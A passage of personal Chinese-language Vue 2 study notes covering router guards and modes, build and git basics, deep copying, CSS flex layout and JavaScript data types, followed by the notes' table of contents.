	}
})

独享守卫: (beforeEnter 放在自己route内，可搭配全局的afterEach)

beforeEnter(to,from,next){
	console.log('beforeEnter',to,from)
	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
		if(localStorage.getItem('school') === 'atguigu'){
			next()
		}else{
			alert('暂无权限查看')
			// next({name:'guanyu'})
		}
	}else{
		next()
	}
}

组件内守卫：(beforeRouteEnter 放在自己组件内，可搭配全局的afterEach)

//进入守卫：通过路由规则，进入该组件时被调用
beforeRouteEnter (to, from, next) {
},
//离开守卫：通过路由规则，离开该组件时被调用
beforeRouteLeave (to, from, next) {
}

13.路由器的两种工作模式

对于一个url来说，什么是hash值？—— **#**及其后面的内容就是hash值。(哈西)
hash值不会包含在 HTTP 请求中，即：hash值不会带给服务器。
hash模式：
1. 地址中永远带着#号，不美观。
2. 若以后将地址通过第三方手机app分享，若app校验严格，则地址会被标记为不合法。
3. 兼容性较好。
history模式：(可在router/index.js 路由器下更改mode:'history',)
1. 地址干净，美观。
2. 兼容性和hash模式相比略差。
3. 应用部署上线时需要后端人员支持，解决刷新页面服务端404的问题。

14.webpack打包

打包npm run build 生成dist文件夹 (把所写vue生成最纯粹的html css js + 图标)
打包后部署才可打开 ===> 上传服务器

七.Vue UI 组件库

7.1 移动端常用 UI 组件库

7.2 PC 端常用 UI 组件库

Element UI element.eleme.cn
IView UI www.iview

八、Git

1.gitee

获取资源

上传

创建分支

2.githop

克隆仓库：git clone <git地址> 初始化仓库：git init

添加文件到暂存区：git add -A 把暂存区的文件提交到仓库：git commit -m "提交信息" 查看提交的历史记录：git log --stat

工作区回滚：git checkout 撤销最后一次提交：git reset HEAD^1

以当前分支为基础新建分支：git checkout -b 列举所有的分支：git branch 单纯地切换到某个分支：git checkout 删掉特定的分支：git branch -D 合并分支：git merge

推送当前分支最新的提交到远程：git push 拉取远程分支最新的提交到本地：git pull

3.云效

无冲突时不需进行解决

1.大屏可视化

vue中使用echart的步骤

yarn(安装) —— 案例需要把vue.config.js中的open选项给删除 —— yarn run serve(工作)

DataV Vue 大屏数据展示组件库

九、其他

1.便捷

const date = new Date().toLocaleString() //获取当前日期
console.log(date);

getTime(str) { //日期转时间戳
    let time = new Date(str)
    return time.getTime()
},i
new Date(i).getTime();//获取当前时间戳

2.深拷贝

浅拷贝 就是通过赋值的方式进行拷贝，那为什么说这是浅拷贝呢？就是因为赋值的方式只会把对象的表层赋值给一个新的对象，如果里面有属性值为数组或者对象的属性，那么就只会拷贝到该属性在栈空间的指针地址，新对象的这些属性数据就会跟旧对象公用一份，也就是说两个地址指向同一份数据，一个改变就会都改变。

**深拷贝 **则不会出现上述问题，引用数据类型，地址跟数据都会拷贝出来。

巧劲（意料之外的）

let arr = [1,2,[1,2]]
// let ar = [ ...arr]
let ar = JSON.parse(JSON.stringify(arr))
ar.push('123')
console.log(arr,ar);//[1, 2, Array(2)] , [1, 2, Array(2), '123']

JSON.stringify() 用于将JavaScript对象转化为JSON字符串 JSON.parse() 用于将JSON字符串转化为一个对象

2.让localStorage/sessionStorage存储对象 因为localStorage/sessionStorage默认只能存储字符串，所以我们利用JSON.stringify()将对象转为字符串放在缓存里面，之后把缓存区出来的时候再用JSON.parse()转回对象就可以了。

限制：这种方式成立的根本就是保证数据在“中转”时的完整性，而JSON.stringify()将值转换为相应的JSON格式时也有缺陷：

undefined、任意的函数以及 symbol 值，在序列化过程中会被忽略（出现在非数组对象的属性值中时）或者被转换成 null（出现在数组中时）。函数、undefined 被单独转换时，会返回 undefined

拷贝函数、undefined等stringify转换有问题的数据时，就会出错

递归的条件，一个是终止条件，一个是调用自己。

浅拷贝

{ ...obj } 利用展开操作符生成新对象一个对象的属性是引用类型，那么改变该属性值里面的内容，另外的拷贝对象也会改变，因此这种拷贝是浅拷贝

3.增删改查

1:点击删除按钮
2:通过传参知道点击是哪个商品*
3:提示是否删除商品
4:触发删除请求的action，传递需要的请求参数
5:发送删除请求
6:删除成功，提示成功，重新获取列表（也可以只表面删除，减少请求）

4.element 表格居中

<el-table :header-cell-style="headStyle" :cell-style="rowStyle"></el-table>
<script>
  methods: {
    headStyle() {//表头居中
        return "text-align:center"
    },
    rowStyle() {//内容居中
        return "text-align:center"
    },
</script>

单行溢出显示成 ...

white-space: nowrap; // 文本不换行
overflow: hidden; // 超出部分隐藏
text-overflow: ellipsis; // 超出部分显示成...

弹性布局

display: flex;
- 在弹性布局中，块元素可以左右排列
flex-wrap: wrap;
- 设置项目换行
flex-direction: column;
- 切换方向
justify-content: space-between;
- flex-start（默认值）：左对齐
- center：居中
- flex-end：右对齐
- space-between 两端对齐中间间距平分
- space-around 元素左右两边距离都相等
align-content:space-between;
- 交叉轴两端对齐
align-items: center;
- align-items 设置元素在交叉轴（垂直方向）的对齐方式
- flex-start：交叉轴的起点对齐。
- flex-end：交叉轴的终点对齐。
- center 垂直居中
：hover
- block 会覆盖上面的flex，导致弹性布局失败
- 上面样式用 display: none; ：hover用 display: flex;

智慧搜索 ctrl+alt+Q

元素距离浏览器窗口

// 元素到浏览器顶部距离
.getBoundingClientRect().top;
.getBoundingClientRect().left;
// 元素自身距离父元素左边 上边
.offsetLeft
.offsetTop
//鼠标相对于浏览器窗口可视区域的X，Y坐标（窗口坐标）（可视区域不包括工具栏和滚动条）
event.clientX
event.clientY
// VUE移入绑定 
@mousemove="movexxx"
// VUE移出绑定 
@mouseover="overxxx"
// VUE绑定样式 
:style="{ top: markPos.top + 'px', left: markPos.left + 'px' }
// VUE绑定元素
打标识: <h1 ref="xxx">.....<School ref="xxx">
获取: this.$refs.xxx

cursor: crosshair ; //crosshair 加号 move 移动 pointer 小手

数据类型分类

除了对象，其他几个都是基本类型，这是因为声明变量时不同的内存分配而决定的：

2.1 基本类型

JavaScript 中共有 6 种基本数据类型：Undefined、Null、Boolean、Number、String、Symbol。 基本类型存储在栈（stack）中，也就是说：

它们的值直接存储在变量访问的位置。
这些原始类型占据的空间是固定的，所以可将他们存储在较小的内存区域 – 栈中。
这样存储便于迅速查寻变量的值。
基本类型的值是按值访问的，且基本类型的值是不可变的

2.2 引用类型

引用类型了，统称为 Object 类型。有：Object Array Date(日期) RegExp(正则) Function … 引用类型存储在堆（heap）中的对象，也就是说:

存储在变量处的值是一个指针（point），指向存储对象的内存地址。
引用类型的值是按引用访问的，且引用类型的值是可变的。
变量存储的是可以打开保存数据的房间的钥匙
存储钥匙地址的大小是固定的，所以把它存储在栈中对变量性能无任何负面影响。

表单验证

let reg = /^1[3-9]\d{9}$/; //手机号
if (reg.test(this.username)) {
	// 验证成功
	return true;
} else {
	// 验证失败
	return false;
}

脚注 ↩

Vue2笔记（附图）

一、Vue2快速上手

02.Vue简介

1.Vue是什么?

2.创建者：尤雨溪

3.Vue的特点

4.掌握的JS基础知识

03.Vue官网使用指南

04.搭建Vue开发环境

二、Vue_basic 基础

01.初始Vue

02.模板语法

你好，{{name}}

03.数据绑定

04.el与data的两种写法

05.MVVM 模型

06.数据代理

07.事件处理

08.计算属性

09_监视属性

10_绑定样式

11_条件渲染

12_列表渲染

1.基本列表

2.key的原理

3.列表过滤

4.列表排序

10.总结Vue数据监测

13_收集表单数据

14_过滤器

15_内置指令

1.v-text_指令

2.v-html_指令

16_自定义指令

17_生命周期

1.引出生命周期

2.分析生命周期

3.总结生命周期

18_非单文件组件

1.基本使用

3.组件的嵌套

4.VueComponent

三、 使用Vue 脚手架

01.初始化脚手架

1.具体步骤

2.模板项目的结构

02.ref 与 props

.....

03.mixin(混入)

04.插件

05.scoped样式

06.总结Todolist案例

07.webStorage

Token

基于Token的身份验证的过程如下:

项目中使用token总结

08.组件的自定义事件

09.全局事件总线（GlobalEventBus）

10.消息订阅与发布（pubsub）

11.nextTick

12.Vue封装的过度与动画

四.Vue 中的 ajax

1.vue脚手架配置代理

方法一

方法二

2.github 用户搜索案例

vue 项目中常用的 2 个 Ajax 库

3.插槽

五.Vuex

1.理解 vuex

2.什么时候使用 Vuex

3.搭建vuex环境

4.基本使用

5.getters的使用

6.四个map方法的使用

7.模块化+命名空间

六. 路由 vue-router

1.基本使用

2.几个注意点

3.多级路由（多级路由）

三、使用Vue 脚手架

8.`<router-link>`的replace属性